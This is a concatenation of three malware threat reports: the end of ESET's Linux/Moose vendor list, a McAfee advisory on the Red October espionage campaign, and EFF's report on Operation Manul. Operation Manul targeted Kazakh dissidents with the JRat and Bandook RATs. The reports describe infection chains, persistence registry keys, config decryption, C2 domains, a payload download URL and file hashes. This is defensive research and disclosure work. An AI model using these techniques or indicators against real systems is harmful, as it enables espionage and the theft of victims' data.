Here is the list of potentially targeted vendors weve come up using this methodology: Network equipment vendors 3Com, Alcatel-Lucent, Allied Telesis, Avaya, Belkin, Brocade, Buffalo, Celerity, Cisco, D-link, Enterasys, Hewlett-Packard, Huawei, Linksys, Mikrotik, Netgear, Meridian, Nortel, SpeedStream, Thomson, TP-Link, Zhone, ZyXEL Appliances vendors APC, Brother, Konica/Minolta, Kyocera, Microplex, Ricoh, Toshiba, Xerox Internet of Things vendors Hik Vision, Leviton Keep in mind that this is a list of potentially targeted vendors.
Current Moose versions need some Unix-type shell access in order to infect a machine where it successfully logged in.
On some devices this type of access is hidden behind another set of credentials or tech-support secret passwords.
Moose doesnt target these environments.
Since we dont have access to the hardware for testing we couldnt validate this aspect in the above lists.
If you have access to any of this hardware please let us know: Is Telnet enabled by default?
Can you login with the default credentials via Telnet?
What make and model do you have?
What happens if you type in sh and then Enter on the default prompt?
If the credentials can be used via Telnet to login, if Telnet is enabled by default and if a shell access can be obtained by typing sh in the devices prompt, then these are very good indicators that a device could be infected by Linux/Moose.
The last list below contains vendors that were correlated using the default credentials list as previously mentioned but that we were not able to gather information about if they had Telnet access enabled or not.
Ericsson, F5 Networks, Fortinet, Siemens, LSI Corporation, Maxim Integrated, Accelerated Network, Quantum, Advantek, Airtel, AirTies, Radware, Ubee Interactive, AOC, Applied Innovations, Arescom, ARtem, Asante, Ascend, ATL, Atlantis, AVM, Avocent, Axis, Aztech, Bay Networks, Bintec, BMC, Broadlogic, Canyon, Cellit, Ciphertrust, CNet, Compaq, Comtrend, Conceptronic, Conexant, Corecess, CTC Union, Cyclades, Davox, Demarc, Digicom, Draytek, Dynalink, E-Con, Efficient, Everfocus, Flowpoint, Gericom, IBM, iDirect, Inchon, Infacta, Infoblox, INOVA, Interbase, Intermec, Intracom, JD Edwards, Kasda, KTI, Lantronix, Laxo, LG, Livingston, Marconi, McAfee, McData, Mentec, Micronet, Milan, Motorola, Mro software, Netopia, Netport, Netscreen, Netstar, Niksun, Nokia, NOMADIX, Olitec(trendchip), OpenConnect, Osicom, Overland, Ovislink, Pansonic, Phoenix, Pirelli, Planet, Ptcl, QLogic, Quintum Technologies, RM, RoamAbout, Sagem, Samsung, Server TechnologyPower, Sharp, Signamax, Siips, Silex Technology, Simple Smdr, Sitecom, Smartswitch, SMC, Sonic-X, Spectra Logic, SpeedXess, Sphairon, SSA, Stratacom, Swissvoice, Symbol, System/32, Tandem, Telewell, Telindus, Tellabs, Topsec, Troy, TVT System, U.S. Robotics, Unisys, VASCO, VxWorks, Wang, Weidmeller, Westell, X-Micro, xd, Xylan, Xyplex, Zebra, ZTE If you know that a particular vendor make and model that could be affected please contact us and contact them.
https://github.com/eset/malware-research/tree/master/moose/ www.urtech.ca/2011/12/default-passwords/ mailto:github40eset.com?subjectLinux/Moose www.urtech.ca/2011/12/default-passwords/
McAfee Labs Threat Advisory Operation Red October January 18, 2013 Summary Red October is a targeted attack and cyber espionage network that was discovered to be targeting Diplomatic and Government agencies.
The threats that were used in this attack campaign have been known to be active since 2009.
This targeted attack involves both MS-office and Java based exploits.
The payloads used in the exploitation are mostly backdoors and password stealers that steal the users information and send it in an encrypted form to the remote attacker.
Detailed information about the infection, its propagation, and mitigation are in the following sections: Infection and Propagation Vectors Characteristics and Symptoms Exploit HeatMap Restart Mechanism Getting Help from the McAfee Foundstone Services team Infection and Propagation Vectors The exploits used in the targeted attack are sent to the users through spear phishing e-mails that contain crafted malicious documents as attachments, and a malicious link embedded in the e-mail that leads to a compromised website.
Once the user opens the malicious document containing the embedded code, a malicious payload is dropped into the system.
The dropped payload in turn communicates with the CC servers.
The payload receives additional modules from the CC server to handle the infection on different types of devices and also could drop additional malware.
Characteristics and Symptoms Description There could be different combinations of Microsoft and Java exploits and payload in the wild to achieve this attack.
We have used one of the MD5s (51EDEA56C1E83BCBC9F873168E2370AF) to do this analysis, which is a document file.
The Red October campaign is known to target the following mentioned vulnerabilities: CVE-2012-0158 (MS Word) CVE-2010-3333 (MS Word) CVE-2009-3129 (MS Excel) CVE-2011-3544 (Java Rhino Script Engine Vulnerability) The following picture clearly shows how the targeted attack happens in the Red October Campaign.
Microsoft Document Exploitation (CVE-2012-0158, CVE-2010-3333, CVE-2009-3129): The phishing email contains an attachment with the malicious office document.
This file, when opened, exploits one of the above mentioned vulnerabilities and drops the payload file msmx21.exe.
Payload Information: After successful exploitation of the vulnerability, the embedded executable file (msmx21.exe) is dropped in the temp folder.
msmx21.exe creates and executes the following files: Temp\msc.bat ProgramFiles\Windows NT\svchost.exe ProgramFiles\Windows NT\wsdktr.ltp (Encrypted payload) - random name The dropped batch file has the following content: The use of chcp 1251 in the batch file is to switch the codepage of an infected system to handle Cyrillic characters.
This might suggest that either the attack originates from Russia or was also targeted towards government agencies in Russia.
Svchost.exe is an installer component that decrypts and loads the main backdoor (wsdktr.ltp).
It connects to the following Microsoft hosts to check for a live Internet connection: update.microsoft.com www.microsoft.com support.microsoft.com wsdktr.ltp is an encrypted executable file (UPX packed dll) that is decrypted and loaded into memory by svchost.exe.
Encrypted wsdktr.ltp file: Decrypted file: The decrypted file is responsible for the communication between the infected machine and CC server as shown in the following image.
The following domains are used for CC : nt-windows-online.com nt-windows-update.com nt-windows-check.com csrss-check-new.com Exploitation Using Java (CVE-2011-3544): In Java Rhino Script Engine Vulnerability, security manager is disabled during JavaScript execution, which would enable full permission to the system during its execution.
When the user clicks the link that came through the spam mail, the exploit would be triggered on the vulnerable system.
The downloaded payload creates and executes the following files: Temp\ tmp42e76b5f.bat - random name Application Data\Keucot\ qagi.exe - random name Application Data\ Okurp \ dezaa.ufy- random name (encrypted content) The following debugged code shows the batch being created while execution.
The batch file has the following content: The payload injects itself to the running system processes in the machine.
They also monitor the browser activities in the targeted browsers (Chrome, Firefox, Safari, and IE).
The above picture shows the changes made to the configuration file so that cookies wont be cleared when the user shuts down the system.
Also warning messages wont be displayed when the user visits the malicious or insecure pages.
Malicious threads injected to the processes monitor the users activities and collect the information about the Outlook contacts and browser cookies, along with the system information.
The collected information is stored as an encrypted content and sent to the command  control server.
Some of these exploits download Ransomware and Zbot payloads.
CC Server: 29f2aad01fee3663.com McAfee has coverage for this exploit CVE-2011-3544 and detects the downloaded payload used in the targeted attack as BackDoor-FJJ.
Exploit Heat Map The following statistics show the usage of the vulnerabilities in the targeted attack in the last quarter.
Exploits Statistics Targeted on Companies and Government Organizations (Aug 2012  Dec 2012).
Restart Mechanism Description The following registry entry would enable the Trojan to execute every time when Windows starts.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon   Userinit C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\userinit.exe, C:\Program Files \WindowsNT\svchost.exe 2 86 5 7 Exploits CVE20093129 CVE20103333 CVE20120158 CVE20113544 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Zeemav: C:\Documents and Settings\Home\Application Data\Keucot\qagi.exe Mitigation Users are requested to exercise caution while opening unsolicited emails and unknown links.
Users are advised to update Windows and third-party application security patches and virus definitions on a regular basis and have proper filtering rules.
Use Access Protection Rules from accessing such run keys.
Please keep your anti-virus updated.
Keep software up-to-date with the latest available patches.
It is advisable to use your firewall to monitor unusual traffic.
Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives.
Getting Help from the McAfee Foundstone Services team This document is intended to provide a summary of current intelligence and best practices to ensure the highest level of protection from your McAfee security solution.
The McAfee Foundstone Services team offers a full range of strategic and technical consulting services that can further help to ensure you identify security risk and build effective solutions to remediate security vulnerabilities.
You can reach them here: https://secure.mcafee.com/apps/services/services-contact.aspx 2011 McAfee, Inc. All rights reserved.
I Got a Letter From the Government the Other Day... Unveiling a Campaign of Intimidation, Kidnapping, and Malware in Kazakhstan Eva Galperin, International Policy Analyst, EFF Cooper Quintin, Staff Technologist, EFF Morgan Marquis-Boire, Director of Security, First Look Media Claudio Guarnieri, Technologist, Amnesty International August 2016 - Black Hat USA ELECTRONIC FRONTIER FOUNDATION EFF.ORG  1 Table of Contents Table of Contents Abstract Operation Manul Victims of Operation Manul JRat Malware Family JRat Functionality Anti-Analysis Bandook Malware Family Core Functionality Network Indicators and Modularity Attribution Observed Links to the Government of Kazakhstan Observed Links to Arcanum Global Intelligence Observed Links To Appin Other Possible Targets Conclusion Acknowledgements Appendix A: Indicators of Compromise C2 Servers Hashes Appendix B: Further Reading ELECTRONIC FRONTIER FOUNDATION EFF.ORG  2 Abstract I got a letter from the government the other day Opened it and read it It said they were suckers Public Enemy, Black Steel and the Hour of Chaos This report covers a campaign of phishing and malware which we have named Operation Manul  and which, based on the available evidence, we believe is likely to 1 have been carried out on behalf of the government of Kazakhstan against journalists, dissidents living in Europe, their family members, known associates,  and their lawyers.
Many of the targets are involved in litigation with the government of Kazakhstan in European and American courts whose substance ranges from attempts by the government of Kazakhstan to unmask the administrators behind an anonymous website that publishes leaks alleging government corruption (Kazaword)  to allegations of 2 kidnapping.
Our research suggests links between this campaign and other campaigns that have been attributed to an Indian security company called Appin Security Group.
A hired actor is consistent with our findings on the Command and Control servers related to this campaign, which included web-based control panels for multiple RATs, suggesting that several campaigns were being run at once.
A hired actor may also explain the generic and uninspired nature of the phishing, which often took the form of an email purporting to contain an invoice or a legal document with an attachment containing a blurry image.
An investigation by the Swiss federal police of some of the emails linked to Operation Manul concludes that they were sent from IP addresses in India, which also suggests a link to Appin.
Hundreds of leaked emails published on the Kazaword website also suggest possible links between this campaign and Arcanum Global Intelligence, a private intelligence company with headquarters in Zurich, which was allegedly hired by the government of Kazakhstan to perform a surveillance and data extraction operation against a high-profile dissident.
It was Respublikas  reporting on these connections which led the government of Kazakhstan to request an injunction in a New York court to bar the website from publishing the stolen emails.
1 We chose the name Operation Manul because Manul cat is native to the steppes of Kazakhstan, and that this campaign seems to be targeting members of the Kazakhstan diaspora and their associates.
We also like cats.
2 https://kazaword.wordpress.com/ ELECTRONIC FRONTIER FOUNDATION EFF.ORG  3 Operation Manul In 2015, EFFs clients in the Respublika litigation were the targets of several spearphishing              3 attempts they had received via email (Fig.
1).
We analyzed these emails and discovered that they contained malware, which appeared to be coming from a single actor as part of an ongoing targeted hacking campaign which we have named Operation Manul.
Over the last year Operation Manul has repeatedly targeted our clients in the Respublika case (Irina Petrushova and Alexander Petrushov), their known associates and family members, and other dissidents involved in litigation with the government of Kazakhstan in Europeans courts,  as well as their family members, associates, and attorneys.
We were also able to observe links between Operation Manul and a malware campaign targeting the family of Mukhtar Ablyazov, co-founder of the Democratic Choice of Kazakhstan, a party opposed to the authoritarian rule of Kazakhstans President Nursultan Nazarbayev .
Ablyazov is currently fighting extradition from France, where he lives in exile, to Nazarbayev-allied Russia.
In May 2013, Ablyazovs wife, Alma Shalabaeva, and 6-year-old daughter, Alua Ablyazova, were taken into custody by Italian police and forcibly deported despite having legal British and European residence permits.
Within 72 hours, they were on a private jet hired by the Kazakh embassy, and taken to Almaty, Kazakhstans capital.
Ablyazov and his supporters have characterized this move as a kidnapping and political hostage-taking ordered by President Nazabayev.
Spearphishing emails and malware sent to the family and their associates during this period may have been intended to help track Alma and Aluas movements in preparation for this incident.
3 https://www.eff.org/cases/kazakhstan-v-does ELECTRONIC FRONTIER FOUNDATION EFF.ORG  4 Fig.
1 A spearphishing email sent to Alexander Petrushov.
The title of the document Atabayev Invoice may refer to Bolat Atabayev, a Khazakh dissident and theater director who was also targeted in this campaign.
In an appeal filed with a Swiss court earlier this year, members of Ablyazovs family allege that they have been targeted by a campaign of spearphishing emails containing malware going back to 2012.
The campaign against Ablyazovs family, attorneys, and associates used the same malware as we found in Operation Manul, and sometimes used ELECTRONIC FRONTIER FOUNDATION EFF.ORG  5 the exact same emails as the emails sent to EFFs Respublika clients and their associates, on the same dates.
Additionally, analysis by GovCERT of other spearphishing emails sent to Ablyazovs family and associates in 2015 concludes that the malware uses the kaliex.net domain and covertly installs Bandook.
For this reason we believe both groups are targets of Operation Manul.
Fig 2.
The PDF document from the spearphishing email entices the victim to download a fake update to acrobat.
Operation Manul appears to primarily use two different commercially available malware families: JRat and Bandook.
Victims of Operation Manul Some victims of Operation Manul have expressed a desire to preserve their anonymity, which we respect.
The victims we are at liberty to identify include Alexander Petrushov and Irina Petroshova, publishers of the independent Kazakh newspaper, Respublika , Peter Sahlas, a human rights attorney, several members of Mukhtar Ablyazovs family, Astolfo ELECTRONIC FRONTIER FOUNDATION EFF.ORG  6 Di Amato, an Italian attorney who spearheaded anti-corruption litigation involving allegations of corruption by Kazakhstan, and dissident theater director Bolat Atabayev.
Several victims allege that they have been physically followed, had their homes broken into, and been tracked using GPS devices.
Mr. Di Amato alleges that his law firms website has been the victim of several DDoS attacks, which he believes are linked to his litigation involving the  government of Kazakhstan.
JRat Malware Family One of the common malware samples used over the course of Operation Manul is known as JRat or Jacksbot.
JRat is a commercially available remote access tool (RAT), written in Java.
JRat is currently available for purchase at jrat[.
]io for the price of 40 USD.
JRat                4 has been continuously developed for the last four years, seemingly by a single developer who goes by the name redp0ison.
While JRat itself is closed source, many modules and helpful utilities are open source and are available on github.
5 JRat Functionality Fig 3.
JRat Controller on Windows 4 Payable only in bitcoin.
5 https://github.com/java-rat ELECTRONIC FRONTIER FOUNDATION EFF.ORG  7 JRat is a cross platform RAT, able to target hosts running Windows, OSX, Linux, BSD, and even Solaris.
The RAT is highly modularit even has an open API so that the attacker may write custom modules to fit their needs.
JRat modules include the following functionality: keylogging, reverse proxy, password recovery, turning on the host webcam, disabling webcam indicator light, listing host processes, opening a shell on the host, editing the host registry, and even chatting with the remote host.
JRat also provides a controller application, which is written in Java.
This controller application allows the attacker to manage all of their JRat instances and view uptime, operating system, and other information about all infected hosts.
JRat also provides a web version of the controller, which is open source.
6 Fig 4.
JRat Controller viewing host screen Fig 5.
JRat Controller screen for an infected host 6 https://github.com/java-rat/web ELECTRONIC FRONTIER FOUNDATION EFF.ORG  8 Anti-Analysis JRat contains a number of interesting features to thwart analysis by a malware researcher.
Fig.
6 An example of the ZKM obfuscated JRat code.
The code itself is obfuscated using Zendix Klass Master (ZKM), a commercially-available            7 Java obfuscator.
ZKM obfuscates the code by giving it generic class, method, and variable 7 http://www.zelix.com/klassmaster/featuresZKMScript.html ELECTRONIC FRONTIER FOUNDATION EFF.ORG  9 names, it also encodes the strings by xoring them with a series of random bytes, and includes extraneous code-paths.
All of this is done to make the java bytecode harder to decompile and analyze for the reverse engineer.
The JRat JAR file contains an encrypted config file named config.dat.
The JRat config file is encrypted using AES in CBC mode.
The encryption key and IV are cleverly hidden in the extra field for the zipped config.dat file.
As illustrated in the example below (Fig.
7), the extra field begins at offset 0x30 of the file header for a given file in the compressed JAR.
Within the 32 byte extra field, the first 16 bytes are the AES decryption key, and the last 16 bytes store the IV.
Fig.
7 An example file header in a compressed Zip or JAR file.
Once it is decrypted, we are able to extract the plaintext configuration information including the domain of the command and control server and port number (Fig 8).
JRat also employs anti-virtualization features to detect and shut down if it is being run in VirtualBox, VMware, or other virtualization software.
JRat is low cost, versatile, extensible, and feature rich.
Given these facts and the diversity of systems that JRAT can infect it is perhaps not surprising that the attackers chose this particular RAT.
ELECTRONIC FRONTIER FOUNDATION EFF.ORG  10 delayms1 addressesaxroot.com:5006, hiddenfilefalse icon1 mutexfalse errortrue title runnextbootfalse timeoutfalse droppath2 tititlejRAT meltfalse toms1 reconsec10 mport1 perms1 idName5006 perfalse oswinmaclinux pass7110eda4d09e062aa5e4a390b0a572ac0d2c0220 debugmsgtrue message delayfalse titrue vmfalse timsgfailDisconnectedfromcontroller namejaps timsgConnectedtocontrolcontroller windowfalse Fig.
8 A decrypted JRat config file ELECTRONIC FRONTIER FOUNDATION EFF.ORG  11 Bandook Malware Family The other malware family used in this campaign is the commercially available RAT known as Bandook.
Bandook has been available since roughly 2007.
This sample seems to have been continuously developed and improved over the course of the last couple of years.
Unlike JRat, Bandook is only able to target Windows computers.
Core Functionality All Bandook executables are similar in size.
Generally, they are masqueraded with fake Flash Player, Office document, or PDF document icons.
None of the Bandook samples we have found in this campaign have been configured so as to execute an actual decoy document.
Normally, Bandook is distributed with an initial stub.
This executable would contain another PE32 binary as an embedded PE resource.
Bandook makes use of a common technique referred to as process hollowing.
It instantiates several suspended browser processes and then replaces the loaded executable memory with the code contained in the embedded resource previously mentioned.
As an example for analysis, we take the original binary with hash b002e8b6406fbdf3de9bfcb3493e61c8a44b331f53125e8fed9daa351 c49fd34 and, more importantly, the embedded resource named O9897DDD with hash c447fd4d6e1deb794acde683bb2176becf353c6e1b2acdfced27c4413 711f6f0.
Interestingly, this binary was uploaded on malwr.com in early June 2016 with the file name Form13.exe (which might suggest a development version).
Currently, the same binary doesnt seem to be available in any other malware repository to which we have access.
In this case, the malware did not execute after having successfully identified a virtualized environment, which might suggest the upload was potentially done by the authors as an attempt to verify the evasion technique.
It is also worth noting that while normally the embedded resource is obfuscated in binaries distributed in the wild, this specific case is the only one we identified with the resource embedded in the clear.
ELECTRONIC FRONTIER FOUNDATION EFF.ORG  12 Network Indicators and Modularity After some initialization, Bandook performs an initial beacon with the general information and configuration details it previously collected.
Then it expects a command in response from the Command  Control server.
If idle, the CC will reply with 0000, and the malware will keep beaconing back the title bar of the currently active window, until it is instructed to do something else.
Interestingly, the basic payload isnt provided with the code to perform any significant action.
If instructed to do so, Bandook will download additional DLL files which provide the specifically desired functionality.
This is probably meant to limit the exposure of the core modules to analysts, and to vet the infection before performing a full deployment.
In this case the available DLLs can have the names: cap.dll extra.dll pws.dll tv.dll Ammyy.dll We were able to obtain the first three DLLs, which were located at the URL hxxp://axroot.com/plg10/.
The following is a list of overall features available in this version of Bandook: Screen capture Webcam recording Audio recording File search, creation, deletion and exfiltration Spawn a shell Get list of available Wireless networks Get list of MTP devices Monitor USB devices ELECTRONIC FRONTIER FOUNDATION EFF.ORG  13 Attribution Observed Links to the Government of Kazakhstan Given the common thread tying together the targets we find it likely that this campaign was carried out byor on the behalf ofthe government of Kazakhstan, or forces allied with the government.
The majority of the targets of the malware campaign are currently embroiled in legal disputes with the government of Kazakhstan in European courts or are the family members or associates of people involved in these disputes.
The titles of spearphishing emails often indicate that the targets are being singled out specifically for their interest in matters pertaining to Kazakhstan, such as Information KZ, Press document KZ, and Kazakh NEWS of importance - Vladimir.
Observed Links to Arcanum Global Intelligence Leaked emails published by Kazaword allege that the government of Kazakhstan had            8 previously hired a private intelligence company known as Arcanum to perform a surveillance and data extraction mission (codenamed Raptor) targeting Mr. Ablyazov and his family.
Among the services offered by Arcanum are Full Spectrum Cyber Operations which they describe using the following language: When the need exists, we overlay Full Spectrum Cyber Operations on these core capabilities, our principals experience, and special technical activities.
We do this in order to offer a potent resource to support cyber and information operations planning and execution virtually anywhere in the world.
When our government clients come under threat, Arcanum Globals embedded specialists and capabilities support them with a full suite of response options, including (in consonance with applicable laws and regulations) an array of countermeasures as well as both in-kind and asymmetric responses.
We invite you to schedule a comprehensive and completely confidential discussion of your cyber concerns and objectives with our specialists.
After 8 The emails themselves were hosted on Megaupload and have since been taken down as a result of litigation by the government of Kazakhstan, but they have been reported on extensively.
You can find an extended discussion of their contents here: http://www.viktor-khrapunov.com/en/publications-en/mediapart/.
ELECTRONIC FRONTIER FOUNDATION EFF.ORG  14 http://www.viktor-khrapunov.com/en/publications-en/mediapart/ analyzing closely your requirements and the physical and cyber environments in which you must operate, Arcanum Globals holistic team of technical, operational and management specialists will recommend specific (and potentially sensitive) solutions  and then stand beside you to implement them and assure you realize your goals and achieve mission success.
Emails published by Kazaword and analyzed by Mediapart allege that Arcanum employed Bernard Squarcini, head of Frances domestic intelligence agency, the Direction centrale du renseignement intrieur (DCRI) from 2007 to 2012, to inform the Kazakh authorities of the progress of the legal proceedings against Ablyazov and to lobby certain figures in France.
Squarcini confirmed to Mediapart that the government of Kazakhstan is a client, but Arcanum spokeswoman Yael Hartmann denied that the company was responsible for the spearphishing attempts, insisting that the company has complied with Swiss law.
There is certainly some strong evidence consistent with there being a link between Operation Manul and the government of Kazakhstan and between the government of Kazakhstan and Arcanum.
However, we observe no direct links between Operation Manul and Arcanum.
The technical evidence discussed below, we believe points instead to an Indian company: Appin.
Observed Links To Appin We examined the behavior of the command and control domains used by Operation Manul as they moved from IP to IP.
Using Passive Total, we observed that the C2 domains from Operational Manul used a total of 76 IPs from 2008-07-20 to 2016-05-11.
We must consider that these domains could have been used by other actors over this time period.
While considering attribution of the actors behind Operation Manul, we investigated the possibility of infrastructure overlap with known actors.
Gathering data from existing APT reports we automated gathering of historical data from known APT domains from             9 the Passive Total API and comparison with the historical data from Operational Manul domains.
From this we were able to observe overlaps between Operation Manul and an actor known as Appin.
Appin is an Indian company that allegedly provides offensive 9 https://github.com/kbandla/APTnotes ELECTRONIC FRONTIER FOUNDATION EFF.ORG  15 https://github.com/kbandla/APTnotes cyber-capability on a contract basis.
A 2013 report by the cybersecurity firm Norman Shark, titled Operation Hangover: Unveiling an Indian Cyberattack Infrastructure ,         10 describes multiple campaigns linked to this actor.
The campaigns included attacks on Punjabi separatists,Norwegian telecom Telenor,  and multiple other companies.
Appin is an exceptionally noisy actor, which might be expected given the contract nature of their work.
Prior research revealed 607 domains related to Appin which we were able               11 to link via historical passive DNS to 1345 IPs.
Of these, there were direct overlaps for two of the Operational Manul domains.
There were indirect overlaps (same IP, at different times) with 110 of the Operation Hangover domains and all but two of the domains associated with Operation Manul.
The domains researchwork.org and dropboxonline.com were both on 64.202.189.170 on 2011-01-14.
Additionally, the domains adobeair.net and bikefanclub.info both resided on 50.63.202.94 from 2014-04-24 to 2014-04-25.
The researchwork.org and bikefanclub.org domains were attributed to Appin in the Operation Hangover report, while adobeair.net and dropboxonline.com were observed during the investigation of Operation Manul.
Additionally there was a near overlap between abobeair[.
]net (one of the Operation Manul domains) and appinsecurity[.
]com (attributed to Appin in the Operation Hangover report) both hosted at 174.120.120.151  just five days apart in August of 2010.
Whats more, according to an appeal filed in a Swiss court on behalf of the Ablyazov family, several of the malware samples sent to Mr. Ablyazovs son-in-law and his attorney and linked with this campaign were variants of the HackBack Trojan.
This Trojan is in the same malware family as the Trojan found on an Angolan activists computer at the Oslo Freedom Forum in 2013which was also linked to Appin by researchers at ESET and Norman Security .
We were unable to obtain the samples mentioned in the legal              12 documents at the time of this writing.
A report written by the Swiss federal police, which investigated the origin of several of the spearphishing emails sent to Ablyazovs family and associates, concluded that the emails were sent from IP addresses in India.
10http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructu re.pdf 11http://ver007.com/tools/APTnotes/2013/Unveiling20an20Indian20Cyberattack20Infrastructure20-2 0appendixes.pdf 12http://www.welivesecurity.com/2013/06/05/operation-hangover-more-links-to-the-oslo-freedom-forum-incid ent/ ELECTRONIC FRONTIER FOUNDATION EFF.ORG  16 http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf While there are links to Appin, its not conclusive that Operation Manul was carried out by this actor.
Both 50.63.202.94 and 64.202.189.170 are very busy domains.
Passive Total tells us that 50.63.202.94 has hosted 4535 unique domains since 2012, while 64.202.189.10 has hosted 4213 unique domains since 2009.
Additionally, while the overlap with Appin exists, the fact that domains used the same IP at the same time is insufficient for concrete attribution.
The evidence is consistent with links to Appin, but remains inconclusive.
Certainly, the sort of targeting we have seen in Operation Manul appears to be consistent with other efforts targeting activists that have been associated with the same actor.
ELECTRONIC FRONTIER FOUNDATION EFF.ORG  17 Fig 9.
An illustration of the shared network infrastructure between Operation Manul and Operation Hangover.
Domains highlighted in red shared servers with Operation Manul domains at the same time.
ELECTRONIC FRONTIER FOUNDATION EFF.ORG  18 Other Possible Targets Fig 10.
Uploaded password files from other victims While investigating the C2 servers associated with Operation Manul, we discovered several open directories which contained files presumably related to other operations being run by this same actor (Fig 10).
Additionally, we discovered web control panels for several different commodity RATs located under directories that appeared to be code-names for different operations (Fig 11).
We also discovered several files which were presumably uploaded from other victims computers (Fig 12).
Lastly, we discovered encrypted data dumps from yet more campaigns, which we were unable at the time of this report.
We found many related samples of the Bandook Trojan while we were doing our research.
For example, 65af112ce229ad888bf4bbba1e3dba701e0e68c9caf81543bb395a8b8192ba8e contains references to Al Qaeda/ISIS material and the forged document is from an Arabic language pack.
This sample however is associated with the same C2 servers used by Operation Manul.
ELECTRONIC FRONTIER FOUNDATION EFF.ORG  19 We also found several uploaded log files which indicate the presence of an Android RAT.
Unfortunately we were to find samples of this RAT at the time of this report.
The discoveries that we made while investigating the command and control infrastructure associated with this campaign suggest that these attackers are hired guns and have multiple operations against different targets going on at the same time.
Fig 11.
Web based RAT control panels found on Operation Manul C2 Servers Fig 12.
Uploaded documents from the victim of another campaign found on Operation Manul C2 servers.
ELECTRONIC FRONTIER FOUNDATION EFF.ORG  20 Conclusion Operation Manul is not particularly sophisticated, but it is well-understood that attacks dont need to be sophisticated in order to be effective.
Not a single sample that we have found in this campaign has employed a 0-day vulnerability.
Unlike the lawful interception software that companies such as FinFisher and Hacking Team sell to governments and law enforcement, the RATs employed in this campaign are not only commercially-available to anyone, theyre cheap.
The fact that these attacks are not sophisticated should not discourage other researchers from doing similar work.
For activists and journalists who are being surveilled by authoritarian governments, surveillance is often just the first step in a campaign of intimidation, threats, and even direct violence.
This kind of security research has the potential to have a real impact on vulnerable people.
We suspect that the use of malware by governments to spy on political dissidents, especially exiles who live outside of their governments direct sphere of influence is increasingly common, which presents many opportunities for further research.
The possible connections between the government of Kazakhstan and companies that provide hackers for hire suggest that the problem of governments using malware to spy on political exiles and independent journalists goes beyond the sale of lawful interception software.
We hope that further research will help to shed light on this practice and the companies that make these services available.
ELECTRONIC FRONTIER FOUNDATION EFF.ORG  21 Acknowledgements There are many people without whom this work would not have been possible.
The authors wish to thank the researchers behind Operation Hangover, whose work we depended heavily upon: Snorre Fagerland, Morten Krkvik, Jonathan Camp, and Ned Moran.
The authors wish to give special thanks VirusTotal, Joe Security, Hex-Rays, and Passive Total for providing access to their software and services.
Additionally wed like to thank David Greene, Jamie Lee Williams, Meghan Fenzel, Nate Cardozo, Kurt Opsahl, Soraya Okuda, and Marion Marschalek, for their patience, help, support, and advice.
We would also like to thank our friends and family who supported us throughout this research.
ELECTRONIC FRONTIER FOUNDATION EFF.ORG  22 Appendix A: Indicators of Compromise C2 Servers The samples from the Operation Manul campaign described in this paper use the following command and control (c2) domains.
axroot.com kaliex.net adobeair.net mangoco.net jaysonj.no-ip.biz orange2015.net accountslogin.services adobeinstall.com adobe-flashviewer.accountslogin.services dropboxonline.com Hashes The following are hashes of malware samples discovered during our research which are associated with Operation Manul.
0491f4e55158d745fd1653950c89fcc9b37d3c1102680bd3ce67616a36bb2592 06529ac1d3388732ebca75b8ee0adf0bc7f45d4c448ec98223dd7a258a0f1f33 1192b5111f7c75417215a1285a20147f5ab085368fa95d74e7603d26736057ac 1192b5111f7c75417215a1285a20147f5ab085368fa95d74e7603d26736057ac 1e3966e77ad1cbf3e3ef76803fbf92300b2b88af39650a1208520e0cdc05645b 2431ff8ba00923a9c115a57e541d9d20e0a68b6cb1b48b87e7797864cf07dfab 345773dc4215c8c189d21536755614ca7b89082b96563239e363dd72c0cd8c68 373231f5be17e09e4ce94f76b35e5be57c961d6c8a9286b2e20e203d53b3c9dd 39802d53ae4a29c528626b0870872040dc5c994fb3b6b9e4a3b982144ad56e6c 40d30bc2db27e2a8a12cdeb5aae19f04064e5a1775bd3e6cf61a7070b797d3b3 40e9c694901aeb27993a8cd81f872076ee430e151f64af06993eb79442103ef8 ELECTRONIC FRONTIER FOUNDATION EFF.ORG  23 4730c6033d8644c0aae46003bab3254e4beb62187573ffb5ba5bc95a28ddcd93 4f1923485e8cdd052467d335a6384f93cd1d50b5d927aea471e56290be29ffa3 576ca2b0c5fe1c756c245cb82d6a2ecce7f6976d5c3f3b338f686e06955032cb 5e322d208d61dcbf17914e24103710c52878e8cf50957f3d336736f4a1851951 652ec150db9a191942807ee5cf4772e75dfac562739477eacc6655fbec880ad7 65af112ce229ad888bf4bbba1e3dba701e0e68c9caf81543bb395a8b8192ba8e 6eea4a67305f67cc7c016256e93eb816de32b6e9ad700f75828be9f97c28c0e0 75ee00a36d324a89fc9ef4d7dbe606b885ec072388ef7b55d39112af7dbca665 75f51845de4d0deae8aaab737a71bb8aed14bfa4919712bcdea212f62b70c07f 778a01389b17a8ff20c445e0856b3704ac50844faa8d36c01e0ff02518e4c6d3 8c33b645e6362ab7e8c8a9989715193b4c9655fd576812218f3957c3fff8c429 8d054753e0ed754398835bed794ba4fae64a2efb018f98d3c61064de8aaa231d 91d251b11c59b5e25e0c1ae55421893fce8f180a97e2eef88122c61e8cdf1bae 926a0196e4a72ed6eb20b51953cc17e8856ea9c0ef554681b7d7f0ecad870a2e 926a0196e4a72ed6eb20b51953cc17e8856ea9c0ef554681b7d7f0ecad870a2e 99e699e358be9e59cfad6124f44a96d3d1577edf9767afe17281adb37d901e22 a91c2cad20935a85d6eed72ef663254396914811f043018732d29276424a9578 ade5bd96bfba79051f8e8ed8fe973edd89e5f1ec6469393967c3ad7519a95650 b002e8b6406fbdf3de9bfcb3493e61c8a44b331f53125e8fed9daa351c49fd34 d803c4d736bcb247d23735a7160b93c2f3d98de5d432680f5eaf9212f965248c e4381ad27b10d895ad8338ba399221d385653b83b8d5dbd5a32cb86a0c318d44 eccb3d7d1e8a7cd27c7caf21885c95122eed28361651e8e47b8c02828b232c7e f56c545a3157f1cf753de5ac56bb52e5af42bc6b8225d26aafdce3b430287f34 fc49b37b879af6e675f223d324d32c894ba83952b2ee109d52bfa9bd8212e005 